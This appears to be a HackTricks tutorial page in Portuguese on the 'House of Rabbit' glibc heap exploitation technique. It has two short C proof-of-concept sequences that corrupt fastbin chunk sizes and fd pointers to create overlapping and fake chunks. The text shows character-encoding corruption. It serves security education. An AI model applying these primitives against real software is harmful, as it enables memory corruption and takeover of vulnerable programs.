House of Rabbit
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao š¬ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter š¦ @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Requisitos
- Capacidade de modificar o ponteiro fd do fast bin ou o tamanho: Isso significa que vocĆŖ pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho.
 - Capacidade de acionar 
malloc_consolidate: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que forƧa o heap a consolidar chunks. 
Objetivos
- Criar chunks sobrepostos: Para ter um chunk sobrepondo-se a outro, permitindo mais manipulaƧƵes do heap.
 - Forjar chunks falsos: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legĆtimo durante operaƧƵes de heap.
 
Etapas do ataque
POC 1: Modificar o tamanho de um chunk do fast bin
Objetivo: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin.
- Etapa 1: Alocar Chunks
 
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
Alocamos dois pedaços de 0x40 bytes cada. Esses pedaços serão colocados na lista de fast bin uma vez liberados.
- Passo 2: Liberar PedaƧos
 
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
Liberamos ambos os chunks, adicionando-os Ć lista fastbin.
- Passo 3: Modificar o Tamanho do Chunk
 
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Mudamos os metadados de tamanho de chunk1 para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
- Passo 4: Acionar 
malloc_consolidate 
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation
Alocar um grande bloco aciona a função malloc_consolidate, mesclando pequenos blocos no fast bin. O tamanho manipulado de chunk1 faz com que ele se sobreponha a chunk2.
Após a consolidação, chunk1 se sobrepõe a chunk2, permitindo uma exploração adicional.
POC 2: Modificar o ponteiro fd
Objetivo: Criar um bloco falso manipulando o ponteiro fd do fast bin.
- Passo 1: Alocar Blocos
 
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explicação: Alocamos dois pedaços, um menor e um maior, para preparar o heap para o pedaço falso.
- Passo 2: Criar pedaƧo falso
 
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Escrevemos metadados de chunk falso em chunk2 para simular chunks menores.
- Passo 3: Liberar 
chunk1 
free(chunk1);  // Frees the chunk at 0x602000
Explicação: Liberamos chunk1, adicionando-o à lista fastbin.
- Passo 4: Modificar 
fddechunk1 
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explicação: Mudamos o ponteiro para frente (fd) do chunk1 para apontar para nosso chunk falso dentro do chunk2.
- Passo 5: Acionar 
malloc_consolidate 
malloc(5000);  // Allocate a large chunk to trigger heap consolidation
Alocar um grande bloco novamente aciona malloc_consolidate, que processa o bloco falso.
O bloco falso se torna parte da lista fastbin, tornando-se um bloco legĆtimo para exploração adicional.
Resumo
A tĆ©cnica House of Rabbit envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro fd para criar blocos falsos. Isso permite que atacantes forjem blocos legĆtimos na heap, possibilitando vĆ”rias formas de exploração. Compreender e praticar esses passos aprimorarĆ” suas habilidades de exploração de heap.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao š¬ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter š¦ @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks